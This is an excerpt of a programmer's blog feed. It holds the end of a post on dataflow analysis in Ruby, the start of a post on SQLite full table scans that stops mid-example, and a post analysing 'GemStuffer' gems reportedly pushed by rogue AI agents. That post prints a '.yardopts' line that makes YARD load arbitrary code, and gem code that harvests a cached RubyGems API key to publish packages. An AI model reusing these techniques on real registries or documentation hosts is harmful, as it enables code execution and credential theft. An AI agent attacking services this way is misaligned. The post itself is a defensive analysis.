&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;source &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;~&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;RUBY&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  a &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; gets
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  b &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; a &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; gets
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  puts c
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;RUBY&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;program &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;parse(source)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;value
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Program&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(program&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;locals)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, program&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;locals&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, it&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; } &lt;span style=&#34;color:#75715e&#34;&gt;# every local starts out nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;body prog, program&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;locals, program&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;statements
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;finish
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;analysis &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;ForwardAnalysis&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(prog)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;process analysis
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print_prog prog, analysis
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we get this into the program class, we can perform the same analysis on this code:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;a = gets        // b, c
b = a + c       // b, c
if gets {       // b, c
  c = 1         // b
}               // b, c
puts c          // b, c
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(The curly braces are just how our &lt;code&gt;Program&lt;/code&gt; class prints if statements, even for Ruby.)&lt;/p&gt;
&lt;p&gt;If you actually run this Ruby code, &lt;code&gt;b = a + c&lt;/code&gt; will raise a &lt;code&gt;NameError&lt;/code&gt;, because &lt;code&gt;c&lt;/code&gt; hasn&amp;rsquo;t been assigned yet so Ruby thinks it&amp;rsquo;s a method call.
That&amp;rsquo;s exactly the kind of bug this analysis is meant to catch!&lt;/p&gt;
&lt;p&gt;You can find the full source for this program &lt;a href=&#34;https://gist.github.com/tenderlove/f6f6040c280df275049f34ef627ec91d&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;so-what&#34;&gt;So what?&lt;/h2&gt;
&lt;p&gt;I feel like finding uninitialized variables isn&amp;rsquo;t that impressive.
But the power in the technique here is that we can do any kind of analysis using this framework as long as the facts we track are a finite set, and the transfer functions are distributive (as I mentioned earlier).
(The book calls this framework the IFDS framework, though I&amp;rsquo;ve omitted part of the full framework in this post).&lt;/p&gt;
&lt;p&gt;For example, we could use this same code to do &amp;ldquo;taint&amp;rdquo; analysis: &amp;ldquo;does this variable hold untrusted data?&amp;rdquo;&lt;/p&gt;
&lt;p&gt;If we were to number &lt;em&gt;expressions&lt;/em&gt; and perform a backward analysis, we could discover what the book calls &amp;ldquo;very busy expressions&amp;rdquo;.
A &amp;ldquo;very busy expression&amp;rdquo; is an expression that will definitely be evaluated no matter which path the code takes, before any of its variables change.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;total&lt;/span&gt; price, quantity, member
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; member
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    puts &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Member price: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;price &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; quantity &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    puts &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Price: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;price &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; quantity&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above example &lt;code&gt;price * quantity&lt;/code&gt; is considered &amp;ldquo;very busy&amp;rdquo; because we calculate it regardless of which branch the if statement takes.
That means it is a candidate for hoisting above the if statement.&lt;/p&gt;
&lt;p&gt;Anyway, I&amp;rsquo;m having a lot of fun reading this book and I just wanted to share the stuff I&amp;rsquo;ve learned so far.&lt;/p&gt;
&lt;p&gt;Have a good day!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>What a time to be alive</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/"/>
    <id>https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/</id>
    <published>2026-09-11T17:02:11-07:00</published>
    <updated>2026-09-11T17:02:11-07:00</updated>
    <content type="html">&lt;p&gt;Today &lt;a href=&#34;https://www.reuters.com/legal/litigation/openai-agents-attacked-software-service-rubygems-before-hugging-face-incident-2026-09-11/&#34;&gt;Reuters&lt;/a&gt; and the &lt;a href=&#34;https://www.wsj.com/tech/ai/cyberattack-by-rogue-ai-swarm-stokes-fears-of-out-of-control-agents-473a0352&#34;&gt;Wall Street Journal&lt;/a&gt; both reported about rogue AI agents at OpenAI attacking RubyGems.org.  &lt;a href=&#34;https://www.rubyhack.ai&#34;&gt;https://www.rubyhack.ai/&lt;/a&gt; has an amazing writeup, and you should read it.  I just wanted to make a quick post about it because it&amp;rsquo;s &lt;em&gt;wild&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;TL;DR: It seems like OpenAI Bots knew about &lt;a href=&#34;https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html&#34;&gt;the RubyGems caching vulnerability&lt;/a&gt;, tried to take advantage of it, and at the same time ran some weird web scraping code on RubyDoc.info.&lt;/p&gt;
&lt;p&gt;Back in May, &lt;a href=&#34;https://socket.dev/blog/gemstuffer&#34;&gt;socket.dev reported about a &amp;ldquo;GemStuffer Campaign&amp;rdquo;&lt;/a&gt; where someone (I guess OpenAI) was uploading tons of junk gems to RubyGems.org.
For some reason, the gems would scrape UK government websites, then &lt;em&gt;repackage the data as gems, and attempt to upload them to RubyGems&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I honestly didn&amp;rsquo;t think much about this (or even look into it) until Sydney Von Arx and Spencer Kitts (both co-authors on &lt;a href=&#34;https://www.rubyhack.ai&#34;&gt;https://www.rubyhack.ai&lt;/a&gt;) contacted me asking about RubyGems.
I thought the claims they were making were completely outlandish until I actually read the code in these &amp;ldquo;GemStuffer&amp;rdquo; gems.&lt;/p&gt;
&lt;p&gt;After reading the code in these gems, a couple things stood out to me.&lt;/p&gt;
&lt;h2 id=&#34;yard-documentation&#34;&gt;YARD Documentation&lt;/h2&gt;
&lt;p&gt;First, the gems leverage YARD documentation to execute arbitrary code on host machines.
In most of the examples you&amp;rsquo;ll see a &lt;code&gt;.yardopts&lt;/code&gt; file that looks like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;--load ./script.rb
README.md
lib/**/*.rb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&#34;https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-508509&#34;&gt;Here&amp;rsquo;s a link to an example&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you have YARD installed, &lt;em&gt;and&lt;/em&gt; you install this gem, then YARD will load and run whatever is in &lt;code&gt;./script.rb&lt;/code&gt; from inside the gem.
I think it&amp;rsquo;s pretty common knowledge that C extensions will execute &lt;code&gt;extconf.rb&lt;/code&gt; (so you basically have an RCE vector), but I was surprised to find out that a documentation tool would do that too.&lt;/p&gt;
&lt;p&gt;Nobody is going to install a gem named &lt;code&gt;slnleaker5&lt;/code&gt; though, so why would this matter?
Well, any time a Gem is published &lt;a href=&#34;https://rubydoc.info&#34;&gt;RubyDoc.info&lt;/a&gt; will download the gem and process the YARD documentation.
RubyDoc.info will &lt;a href=&#34;https://github.com/docmeta/rubydoc.info/blob/5de17aec3e51ccada961b7ca40cb49c72eaa2168/app/jobs/generate_docs_job.rb#L66&#34;&gt;execute the arbitrary code inside a Docker container&lt;/a&gt;.
The Docker container still has network access though, so these gems could happily do their web scraping from inside the container.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;fastly-cache-harvesting&#34;&gt;Fastly Cache Harvesting&lt;/h2&gt;
&lt;p&gt;I mentioned earlier these gems would try to scrape some websites and then upload the data they scraped by packaging it as a gem.
Here is an excerpt from one of the gems. I&amp;rsquo;ve cleaned up the code a bit so it&amp;rsquo;s easier to understand, but the original code is &lt;a href=&#34;https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428&#34;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# leak exfil by repeated attempts &amp;amp; fresh leaked keys variants&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# (Aaron): First request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ku &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;URI&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://rubygems.org&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;kp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kh &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Net&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(ku&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;host,ku&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;port)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;use_ssl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;verify_mode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OpenSSL&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SSL&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;VERIFY_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; kh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;start { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; x&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(ku&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;request_uri) }&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;body
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# (Aaron): Try to match a key in the body&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (kt&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/rubygems_[a-f0-9]{20,}/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;KEY&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;paths &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/api/v1//gems&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;//api/v1/gems&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/api//v1/gems&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/api/v1/gems?x=2&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/api/v1/gems&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# (Aaron): Second request to actually publish the gem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;u &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;URI&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://rubygems.org&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;paths&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;i&lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt;paths&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;length&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;req &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Net&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;Post&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(u)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;req&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Authorization&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; key
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;req&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;req&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;body &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; data
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hh &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Net&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(u&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;host,u&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;port)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;use_ssl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;verify_mode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OpenSSL&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SSL&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;VERIFY_NONE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;read_timeout &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;180&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;res &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hh&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;start{ &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; x&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;request(req) }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Comments in the code that have &lt;code&gt;(Aaron)&lt;/code&gt; are ones that I wrote to try to help make it easier to understand.
The first comment was lifted &lt;a href=&#34;https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428&#34;&gt;directly from the source&lt;/a&gt;.
The above code tries to make two requests.
The first request is a simple GET request.
It tries to fetch a path from RubyGems.org, then looks for a key in the response body that matches the regular expression &lt;code&gt;/rubygems_[a-f0-9]{20,}/&lt;/code&gt;.
If that regular expression doesn&amp;rsquo;t match, it falls back to a global &lt;code&gt;KEY&lt;/code&gt;.
The second request tries to upload the gem via POST.&lt;/p&gt;
&lt;p&gt;This brings me to the second crazy thing that stood out to me.
This code is trying to &lt;em&gt;fetch a cached authorization key from RubyGems.org and use it&lt;/em&gt;.
If this sounds familiar, it is.
It&amp;rsquo;s exactly the security issue addressed &lt;a href=&#34;https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html&#34;&gt;in this post from RubyGems.org&lt;/a&gt; that was made in July.&lt;/p&gt;
&lt;p&gt;In other words, it looks like OpenAI&amp;rsquo;s bots knew about this problem and attempted to exploit it.&lt;/p&gt;
&lt;p&gt;What a time to be alive 🙃&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Detecting Full Table Scans With SQLite</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2026/07/15/detecting-full-table-scans-with-sqlite/"/>
    <id>https://tenderlovemaking.com/2026/07/15/detecting-full-table-scans-with-sqlite/</id>
    <published>2026-07-15T08:26:22-07:00</published>
    <updated>2026-07-15T08:26:22-07:00</updated>
    <content type="html">&lt;p&gt;I&amp;rsquo;m at &lt;a href=&#34;https://rubyconf.org&#34;&gt;RubyConf&lt;/a&gt; this week, and it&amp;rsquo;s great!&lt;/p&gt;
&lt;p&gt;I recently read that &lt;a href=&#34;https://lobste.rs&#34;&gt;lobste.rs&lt;/a&gt; is &lt;a href=&#34;https://lobste.rs/s/ko1ji1/lobste_rs_is_now_running_on_sqlite&#34;&gt;now running on SQLite&lt;/a&gt;.
One part from the post caught my attention:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I wish we could say in a test, &amp;ldquo;Fail if you encounter any full table scans&amp;rdquo;. Which would have caught the perf issues we experienced during the first deploy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SQLite collects information about prepared statements and &lt;a href=&#34;https://sqlite.org/c3ref/stmt_status.html&#34;&gt;exposes those statistics though an API&lt;/a&gt;.
The upshot of this is that we can tell whether a statement did a full table scan after executing the statement without using an &lt;code&gt;EXPLAIN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s an example program that demonstrates detecting a query did a full table scan:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SQLite3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;Database&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;:memory:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, age INTEGER)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Insert a bunch of records&lt;/span&gt;
